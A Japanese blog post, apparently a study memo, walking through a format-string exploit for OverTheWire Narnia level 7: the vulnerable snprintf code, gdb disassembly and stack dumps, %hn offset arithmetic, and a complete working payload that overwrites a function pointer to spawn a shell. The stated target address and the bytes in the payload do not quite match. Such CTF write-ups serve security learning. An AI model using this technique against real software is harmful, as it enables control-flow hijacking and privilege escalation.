format string attackめも

最近CTFとか興味出てきたので色々と遊んでます。 今回はOverTheWire: Narniaのレベル7の問題(narnia7.c)を元にformat string attackのメモです。

narnia7の脆弱性のある関数はこれです。formatはmain関数においてはargv[1]で参照されていたもので、ユーザーからの入力がそのままsnprintf(3)に渡ります。

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

この問題はポインタ変数ptrfが最初はgoodfunction関数のアドレスを指しているので、hackedfunction関数のアドレスに書き換えると解決になります。hackedfunction関数はなかでsystem("/bin/sh")を実行するので、次の問題が書かれているパスワードファイルを読めるようになります。narnia7バイナリの所有者はnarnia8でパーミッションが4755なのでshellが立ち上がれば見れるって感じです。

32bitのバイナリを動かす環境があれば手元でも動かせられるので、仮想環境のarch linuxをmultilib有効にしてそこで試してます。もちろん、最後はoverthewireのサーバで実行してますが。コンパイルオプションには-fno-stack-protectorを付けてます。あとカーネルのASLRもオフにしてます。

まず、普通に実行するとこんな結果になります。書き換えるべきポインタのアドレスも表示してくれます。

masami@aur-dev:~$ ./narnia7 AAAA
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9fc)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
masami@aur-dev:~$

これをgdbで動かします。まずvulnの終了前にブレークポイントを張ります。

masami@aur-dev:~$ gdb ./narnia7
Reading symbols from ./narnia7...(no debugging symbols found)...done.
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x080485db <+0>:     push   %ebp
   0x080485dc <+1>:     mov    %esp,%ebp
   0x080485de <+3>:     sub    $0x98,%esp
   0x080485e4 <+9>:     sub    $0x4,%esp
   0x080485e7 <+12>:    push   $0x80
   0x080485ec <+17>:    push   $0x0
   0x080485ee <+19>:    lea    -0x88(%ebp),%eax
   0x080485f4 <+25>:    push   %eax
   0x080485f5 <+26>:    call   0x80484b0 <memset@plt>
   0x080485fa <+31>:    add    $0x10,%esp
   0x080485fd <+34>:    sub    $0x8,%esp
   0x08048600 <+37>:    push   $0x80486f5
   0x08048605 <+42>:    push   $0x80487f0
   0x0804860a <+47>:    call   0x8048430 <printf@plt>
   0x0804860f <+52>:    add    $0x10,%esp
   0x08048612 <+55>:    sub    $0x8,%esp
   0x08048615 <+58>:    push   $0x8048723
   0x0804861a <+63>:    push   $0x8048805
   0x0804861f <+68>:    call   0x8048430 <printf@plt>
   0x08048624 <+73>:    add    $0x10,%esp
   0x08048627 <+76>:    movl   $0x80486f5,-0x8c(%ebp)
   0x08048631 <+86>:    mov    -0x8c(%ebp),%eax
   0x08048637 <+92>:    sub    $0x4,%esp
   0x0804863a <+95>:    lea    -0x8c(%ebp),%edx
   0x08048640 <+101>:   push   %edx
   0x08048641 <+102>:   push   %eax
   0x08048642 <+103>:   push   $0x804881d
   0x08048647 <+108>:   call   0x8048430 <printf@plt>
   0x0804864c <+113>:   add    $0x10,%esp
   0x0804864f <+116>:   sub    $0xc,%esp
   0x08048652 <+119>:   push   $0x8048838
   0x08048657 <+124>:   call   0x8048460 <puts@plt>
   0x0804865c <+129>:   add    $0x10,%esp
   0x0804865f <+132>:   sub    $0xc,%esp
   0x08048662 <+135>:   push   $0x2
   0x08048664 <+137>:   call   0x8048450 <sleep@plt>
   0x08048669 <+142>:   add    $0x10,%esp
   0x0804866c <+145>:   movl   $0x80486f5,-0x8c(%ebp)
   0x08048676 <+155>:   sub    $0x4,%esp
   0x08048679 <+158>:   pushl  0x8(%ebp)
   0x0804867c <+161>:   push   $0x80
   0x08048681 <+166>:   lea    -0x88(%ebp),%eax
   0x08048687 <+172>:   push   %eax
   0x08048688 <+173>:   call   0x80484c0 <snprintf@plt>
   0x0804868d <+178>:   add    $0x10,%esp
   0x08048690 <+181>:   mov    -0x8c(%ebp),%eax
   0x08048696 <+187>:   call   *%eax
   0x08048698 <+189>:   leave
   0x08048699 <+190>:   ret
End of assembler dump.
gdb-peda$ b *0x08048698
Breakpoint 1 at 0x8048698

そしたら実行します。

gdb-peda$ r AAAABBBB
Starting program: /home/masami/narnia7 AAAABBBB
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9cc)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
 [----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fc8850 --> 0x0
EDX: 0x0
ESI: 0x2
EDI: 0xf7fc7000 --> 0x1b4d90
EBP: 0xffffda58 --> 0xffffda78 --> 0x0
ESP: 0xffffd9c0 --> 0xffffda80 --> 0x2
EIP: 0x8048698 (<vuln+189>:     leave)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804868d <vuln+178>:        add    $0x10,%esp
   0x8048690 <vuln+181>:        mov    -0x8c(%ebp),%eax
   0x8048696 <vuln+187>:        call   *%eax
=> 0x8048698 <vuln+189>:        leave
   0x8048699 <vuln+190>:        ret
   0x804869a <main>:    lea    0x4(%esp),%ecx
   0x804869e <main+4>:  and    $0xfffffff0,%esp
   0x80486a1 <main+7>:  pushl  -0x4(%ecx)
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xffffda80 --> 0x2
0004| 0xffffd9c4 --> 0xf7fe39ab (<_dl_lookup_symbol_x+235>:     add    $0x30,%esp)
0008| 0xffffd9c8 --> 0x8048258 --> 0x55 ('U')
0012| 0xffffd9cc --> 0x80486f5 (<goodfunction>: push   %ebp)
0016| 0xffffd9d0 ("AAAABBBB")
0020| 0xffffd9d4 ("BBBB")
0024| 0xffffd9d8 --> 0x0
0028| 0xffffd9dc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048698 in vuln ()

そしてスタックの内容を表示します。

gdb-peda$ x/100x $esp-100
0xffffd95c:     0xf7fc5940      0xf7fc7d40      0xf7fc7000      0xffffd998
0xffffd96c:     0xf7e70734      0xf7fc7d40      0x00000000      0x00000002
0xffffd97c:     0xf7fc7000      0xffffd9b8      0xf7feee40      0xf7e706eb
0xffffd98c:     0x00000000      0x00000002      0xf7fc7000      0xffffd9b8
0xffffd99c:     0x08048719      0xf7fc7d40      0xf7e5c056      0x00000000
0xffffd9ac:     0x0804868d      0xffffd9d0      0x00000080      0xffffda58
0xffffd9bc:     0x08048698      0xffffda80      0xf7fe39ab      0x08048258
0xffffd9cc:     0x080486f5      0x41414141      0x42424242      0x00000000
0xffffd9dc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9ec:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9fc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda0c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda1c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda2c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda3c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda4c:     0x00000000      0xffffffff      0xffffdb24      0xffffda78
0xffffda5c:     0x080486e9      0xffffdc93      0xffffdb24      0xffffdb30
0xffffda6c:     0x08048791      0xf7fc73bc      0xffffda90      0x00000000
0xffffda7c:     0xf7e2a196      0x00000002      0xf7fc7000      0x00000000
0xffffda8c:     0xf7e2a196      0x00000002      0xffffdb24      0xffffdb30
0xffffda9c:     0x00000000      0x00000000      0x00000000      0xf7fc7000
0xffffdaac:     0xf7ffdbe4      0xf7ffcfcc      0x00000000      0x00000002
0xffffdabc:     0xf7fc7000      0x00000000      0xe54c93be      0xdfbb1fae
0xffffdacc:     0x00000000      0x00000000      0x00000000      0x00000002
0xffffdadc:     0x080484e0      0x00000000      0xf7feee40      0xf7e2a0a9

0xffffd9d0のところから8バイトがbufferの内容でAAAABBBBですね。その前の0xffffd9ccはgoodfunction関数のアドレスを指してます。アドレス0xffffd9b0の内容が0xffffd9d0でbufferのアドレスを指してます。0xffffd9b0はbufferのサイズです。

で、ポインタの書き換えですがこれは%hnを使ってやります。ここの指定方法はGray Hat Hacking The Ethical Hacker's Handbook, Fourth Editionにある計算方法を使います。

f:id:masami256:20161124233630p:plain

まず、 書き込みたいポインタのアドレスは0xffffd9fcなので、[addr+2][addr]の部分はこうなります。

"\xde\xd9\xff\xff\xdc\xd9\xff\xff"

次は、最初の%hnに使うパラメータの設定で、書き込みたいアドレスはhackedfunction()のアドレスなのでHOBは0x0804、LOBは0x8723になります。そうするとHOB < LOBなのでHOB-8を行って、結果は0x7fx。10進数になおして%.2044xになります。 次は%[offset]$hnでここは、0xffffd9bcからのbufferまでのoffsetで6(words)となって%6\$hn。 次に残りの16bit分で、HOB < LOBなので、%[LOB - HOB]xだから0x7f1fで、%.32543xとなります。最後は%[offset+1]$hnだから6+1で7となって%7\$hn。 最後にこれまでの結果をまとめると、こうなります。

$(printf "\xde\xd9\xff\xff\xdc\xd9\xff\xff")%.2044x%6\$hn%.32543x%7\$hn

で、最後にこれで実行するとshellが立ち上がりますヽ(=´▽`=)ノ

masami@aur-dev:~$ ./narnia7 $(printf "\xde\xd9\xff\xff\xdc\xd9\xff\xff")%.2044x%6\$hn%.32543x%7\$hn
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9dc)
I guess you want to come to the hackedfunction...
Way to go!!!!sh-4.4$S

Gray Hat Hacking The Ethical Hacker's Handbook, Fourth Edition

Gray Hat Hacking The Ethical Hacker's Handbook, Fourth Edition